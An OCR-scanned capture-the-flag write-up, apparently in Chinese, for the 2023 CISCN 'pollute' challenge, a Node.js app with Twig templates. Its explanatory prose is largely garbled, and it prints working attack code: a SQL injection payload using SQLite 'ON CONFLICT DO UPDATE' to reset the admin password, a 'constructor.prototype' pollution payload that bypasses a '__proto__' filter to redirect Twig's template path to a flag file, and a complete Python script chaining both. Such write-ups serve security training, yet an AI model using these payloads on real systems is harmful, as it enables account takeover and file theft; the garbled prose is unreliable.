2023ciscnfirEgFE X -pollute wp
HIREE

ERB R TI51T npm install RAEERW TFIEERNA]:

var server = app.listen( port hostname: function ()

var host = '127.0.0.1"
var port = server.address().port

console.log("http://%s:%s", host, port)
};

I
sessionig &

app.use(session({
name: 'thejs.session',
secret: randomize('GAME', 16),
resave: true,

saveUninitialized: true

}))

® name ®ATIRE cookie FIBTR;

® secret AT INE session HIEHNEHH, XE(FAT randomize REAEM—TKERN 16 HIBENFRIHE
® resave TNERIEKRGERGEEFIRTF session FiiE, BEMEEFIEZB LKEZWL;

® saveUninitialized RNEBRIBEKRPHIENL— session, EMERAFEZBEERIFA session,

RS

app.get('/', utils.checkSignIn, function(req, res, next) {

return res.redirect('/home’');

)

XESNER

3

B24%%, Hf utils.checkSignIn I F:



static checkSignIn(req, res, next) {
if (req.session.username === undefined || req.session.username ===

return res.redirect('/login')

}

next();

IXtusername@ ZIREFE FnullH#ITHN,

IoginEﬁEEl

Epost%ﬁ?ﬂiﬂ%ﬁ\ username *D md5 (password) 7f_L/)”|J}EHF'xE ﬁ?‘_

if(reg.method == "POST"){

var username = req.body.username;

var password = req.body.password;

password = utils.md5(password)

db.all( sq
Féermit

console.error(err)ﬂ

return res.send( bo "<script>alert('Error!');window.location.href="'/register
}elsed

if(result.length ){

return res.end( chu "<script>alert('username or pas d wrong!');window.location.href="'/"'<

}

result = result[0]

rname && result.password == password){
reg.session.username = result.username;
return res.end( chur "<script>alert('Login success!');window.location.href=

if(result.username

XEHsqUEDM T FRIZE LR FESqBENAY B,

registerigH

fEpostAiEHR, HTFUTsqlite315axE R iF, BT RALXBFESqEN )R

null) {

"SELECT * FROM users WHERE username=? AND password=?", pare [username, password],

'</script>");

v’v

</script>");




var username = req.body.username;

var password = reg.body.password;

if (username !== undefined && password !== undefined) {
db.get( sgl: "SELECT * FROM users WHERE username=?", params: [username], I function(err

if(err)q{
console.error(err)
return res.send( body: "<script>alert('Error!');window.location.href='/register'</script>");

}elsed{
if (row && row.username !== undefined){

return res.send( body: "<script>alert('User already ists.');window.location.href="'/register'</script>");

}else{

let query = "INSERT INTO users (username, password) VALUES ('${username}', '${utils.md5(password)}')’;
db.run(query, Iback: function(err ) i
if(err){
console.error(err)
return res.send( body: "<script>alert('Error!');window.location.href="'/re r'</script>");
}else{
return res.send( body: "<script>alert('Re er ');window.location.href="'/login'</script>");

FE—REWIEAN
s=requests.session()

def sqglInjestion(url):

url=f'{url}/register’

password="kentol23"

hash=password.encode( 'utf-8")

print (md5.md5 (hash).hexdigest())

data={
"username":f"kentol', '{md5.md5 (hash).hexdigest()}')--+",
"password":"kento"

}

res=s.post(url=url,data=data)

if res.status_code==200:
print(res.content)

else:

print("failed sqglInject!",res.content)

b"<script>alert('Register successed');window.location.href="'/login'</script>"

Process finished with exit code 0

BEEEENHLIX B EEENMIEEPELEFENRAF #TsqlEABATTNER, BEsqlitefBENIEZOEFE
—ZUTHEAFE ([sqlite31BE][https://www.sqlite.org/lang_insert.html])



A
J

o—»(ON )»{( CONFLICT T »(DO

indexed-column

A

NOTHING

UPDATE

TR, RIELREEBATPIUHITU TAIME:

INSERT INTO users (username, password) VALUES ('admin', 'md5(xxxxx)') on CONFLICT DO
UPDATE SET password ='md5(kentol23)'--+ , '${utils.md5(password)}"')

ZIXREAER

def sglInjestion(url):
url=f'{url}/register’
password="kentol23"
hash=password.encode( 'utf-8")
# print(md5.md5 (hash).hexdigest())
# admin', 'md5(xxxxx)') on CONFLICT DO UPDATE SET password ='md5(kentol23)'--+
data={
"username":f"admin', ' {md5.md5 (hash).hexdigest()}') on CONFLICT DO UPDATE SET
password ='{md5.md5 (hash).hexdigest()}'--+",
"password":"kento"
}
res=s.post(url=url,data=data)
if res.status_code==200:
print(res.content)
else:
print("failed sglInject!",res.content)

Intel MKL WARNING: Support of Intel(R) Streaming SIMD Extensions 4.2 (Intel(R) SSE4.2) enabled only processors

Intel MKL WARNING: Support of Intel(R) Streaming SIMD Extensions 4.2 (Intel(R) SSE4.2) enabled only processors
b"<script>alert('Register successed');window.location.href='/login'</script>"

[REE S St

BTRMERITEUtisH, RMEFEREMESRFEBAE:

static extend(target) {



for (var i = 1; i < arguments.length; i++) {

var source = arguments[i]

for (var key in source) {
if (key === ' _proto_ ') {
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) {
Utils.extend(target[key], source[key])
} else {
target[key] = source[key]

}

return target

XE3tkey# 1T TIRHISY  protp  HITHN, BJLAFJA contructor.prototype #H1T4:1d :

def polluteFunction(url):

url=f'{url}/admin’

res=s.post(url=url,
headers={"Content-Type":"application/json"},
#F|Fconstructor.prototypefid proto 1
data=json.dumps ({"constructor":

{"prototype":
{"kento": "admin"}}

)

if res.status_code==200:

print("pullote sussecc!")



for (var i = 1; i < arguments.length; i++) { 1
var source = arguments[i] Object {prototype: Object}

for (var key in source) { source: Object {prototype: Object} key: undefined
if (key === '__proto__"') { undefined
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) { function Object() { [native code] }
Utils.extend(target[key], sourcelkeyl]) undefined undefined
} else {
target[key] = source[key]

extend()
g 5 app.js
ads & Variables Debugger Console Process Console Scripts G

ain Thread Y v

tend(), utils.js:35 v Local

tend(), utils.js:41

onymous(), app.js:118 = {prototype: Object}
prototype = {kento: "admin"}
[[Prototype]] =

ecklsAdmin(), utils.js:15 = undefined

> i= arguments = [Function, Object, Accessor, Function]

twigtRhRICISE 1T
RIDGET proto  MBINE, BATHANwigHATEIE M TR

app.js:res.render()
response.js:app.render()
application.js:View()
view. js:render ()
twig.js:renderFile()
twig.js:twig()
twig.Jjs:loadRemote()

twig.Jjs:registerLoader()

B@iddebug, FIABRMEAMIZFHAtwig jsHUEE R renderFile() MBI DT AN, £ renderFile PREHITIRRR {F
BRNRETEMNEIE (IFRLE, MEIME—1.swighISTH)

if (viewOptions) {
for (var option in viewOptions) {
if (0Object.hasOwnProperty.call(viewOptions, option)) {
params[option] = viewOptions[option];

Twig.exports.twig(params);




HN swig() MfE, XTRBEparamsiISMEMERTHIE, HAP, HEREME T params.path AIFIRT
F:

if (params.path !== undefined) ({
return Twig.Templates.loadRemote(params.path, {

id: id,
method: 'fs',
parser: params.parser || 'twig',
base: params.base,
module: params.module,
precompiled: params.precompiled,
async: params.async,
options: options

}, params.load, params.error);

Y params.path fsundefinedBd=#H NI, 1M params.path fEview.jsPEHEN admin. twig BIXEEEZ,

BB RBIAN, 5 THAH Tvig. Templates. loadremote () EH, X MEEHOMEFASIH LA SR
params.id SRINEtwighIRERR S {4

Twig.Templates.loadRemote = function (location, params, callback, errorCallb
// Default to the URL so the template is cached.
var id = typeof params.id === 'undefined' ? location : params.id;

var cached = Twig.Templates.registry[id]; // Check for existing template

if (Twig.cache && typeof cached !== 'undefined') {
// A template is already saved with the given id.
if (typeof callback === 'function') {
callback(cached);

} // TODO: if async, return deferred promise

return cached;
} // If the parser name hasn't been set, default it to twig

params.parser = params.parser || 'twig';

params.id = id; // Default to async

if (typeof params.async === 'undefined') {
params.async = true;

} // Assume 'fs' if the loader is not defined

var loader = this.loaders[params.method] || this.loaders.fs;
return loader.call(this, location, params, callback, errorCallback);

}; // Determine object type



XEERBE BT loadRemote REIHHY params 51N swig() REH params BEEARE, MLEAM, EEE
id params.path EMXERXEGNMUE, BIE BT params.id REXRRXHFRAIE ., £ loadRemote REH, B
o ¥F 1d BN location WilEadmin.twigSi I E, 1 TRIBEIT call REBEISEME] registerLoader ¥
#, ERBEEBMNRE registerLoader K H, X458 params X T — P pathBHEAXHBIENEN . XD
REESIENEE—BRIREIEG, EBMNATT parans.path £ E Flocation, HFEadmin.twighy 4

1=
Twig.Templates.registerLoader('fs', function (lo

if (precompiled === true) {
data = JSON.parse(data);

params.data data;
params.path = params.path || location; //XEAEIREESREpathTEHITITH

template = parser.call(this, params);

if (typeof callback === 'function') {
callback(template);
}
}i

F2, BIX) params TF, ﬁ{l‘]ﬁf)”..?—/l\ﬁ]‘éﬁﬂ’\ﬁﬂﬁﬁﬂwz WA, 81 loadrRemote BRIEXIA
J: params fpathBIEHHER T, BB locationi®EEHk[El, ERXBEAFARESESRBE T, HIE
TR SIS path T2 #ﬁ}’? MR DU TERSEEEN T -

l.twig():
filePath=params.path;
2.loadRemote():
filePath=params.id;
3.registerLoader():
filePath=params.path || location; #BF/REETHRAIUEHfilePath=params.path, EHpath
G5

[FE5%55debug

o BN utils.j By extend REUHITREEE SHRBAIF A



static extend(target) {
for (var i = 1; i < arguments.length; i++) { 1
var source = arguments[i] Object {constructor: Object}

for (var key in source) { "constructor" Object {constructor: Object}
if (key === '__proto__') { key: "constructor"
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) {

Utils.extend(target[key]l, sourcel[keyl]) Object {prototype: Object}
} else {

target[key] = source[key]

bxtend() source

Process Console M Scripts G

Local
> target = {username: "admin", message: "Try2HackMe!"}
i=
source = {constructor: Object}
constructor = {prototype: Object}
prototype = {path: "/Users/kento/PycharmProjec

[[Prototype]] =

BN twig.twig() H, &I params.path ELXEIAERN T locationtt i Zadmin.twighI X4 E.

if (params.path !== undefined) f{
return Twig.Templates.loadRemote(params.path, {
id: id,
method: 'fs',
parser: params.parser ||
base: params.base,
module: params.module,
precompiled: params.precompiled,
async: params.async,
options: options

(function ...(); })() > <anonymous>() exports() twig()

Process Console B Scripts G 1> A g G

cal

params = scnYNU/pollute/pollute 2/views/z

path = "/Users/k fadmin.twig'
base ="/U
load =

error =

#H A registerloader RELAF/RIN params.path #AINISH, SEIUEEXXMHIEE:

=




1T (erry i
if (typeof errorCallback === 'function') {
errorCallback(err);

Evaluate
return;

Expression:

¢
] params.path v

if (precompiled === true) { Use {+38+ to add to Watches
data = JSON.parse(data); Result:

result ="/

params.data data;
params.path params.path || location;

template = parser.call(this, params);

k for (function ...(); })() > <anonymous>() exports() callba

o BEMIHETlag:

Intel MKL WARNING: Support of Intel(R) Streaming SIMD Extensions 4.2 (Intel(R) SSE4.2) enabled only processors has bd
Intel MKL WARNING: Support of Intel(R) Streaming SIMD Extensions 4.2 (Intel(R) SSE4.2) enabled only processors has bg
b"<script>alert('Register successed');window.location.href="'/login'</script>"

b"<script>alert('Login success!');window.location.href="'/'</script>"

pullote sussecc! b'flag{kento!}"'

import json
import requests

import hashlib as md5

s=requests.session()

## BT sqliF N admin A5
def sglInjestion(url):
url=f'{url}/register’
password="kentol23"
hash=password.encode( 'utf-8")
# print(md5.md5 (hash).hexdigest())
# admin', 'md5 (xxxxx)') on CONFLICT DO UPDATE SET password ='md5(kentol23)'--+
data={
"username" :f"admin', ' {md5.md5 (hash).hexdigest()}') on CONFLICT DO UPDATE SET
password ='{md5.md5 (hash).hexdigest()}'--+",
"password":"kento"
}
res=s.post(url=url,data=data)
if res.status_code==200:
print(res.content)

else:



print("failed sglInject!",res.content)

#EEZF|EFsession
def loignFunction(url):
url=f'{url}/login'’
res=s.post(url=url,data={
"username":"admin",
"password":"kentol23"
})
if res.status_code==200:
print(res.content)
else:

print("login failed,",res.content)

def polluteFunction(url):
url=f'{url}/admin’
res=s.post(url=url,
headers={"Content-Type":"application/json"},
#¥Hconstructor.prototypefiid proto_ 1&illl
data=json.dumps ({"constructor":
{"prototype":
#pathFBERHITE IR
{"path":
"/Users/kento/PycharmProjects/expZhao/flag.txt"}}
)
if res.status_code==200:
print("pullote sussecc!",res.content)
if name == "'
url = "http://127.0.0.1"

sqlInjestion(url)

__main__ ':

loignFunction(url)

polluteFunction(url)
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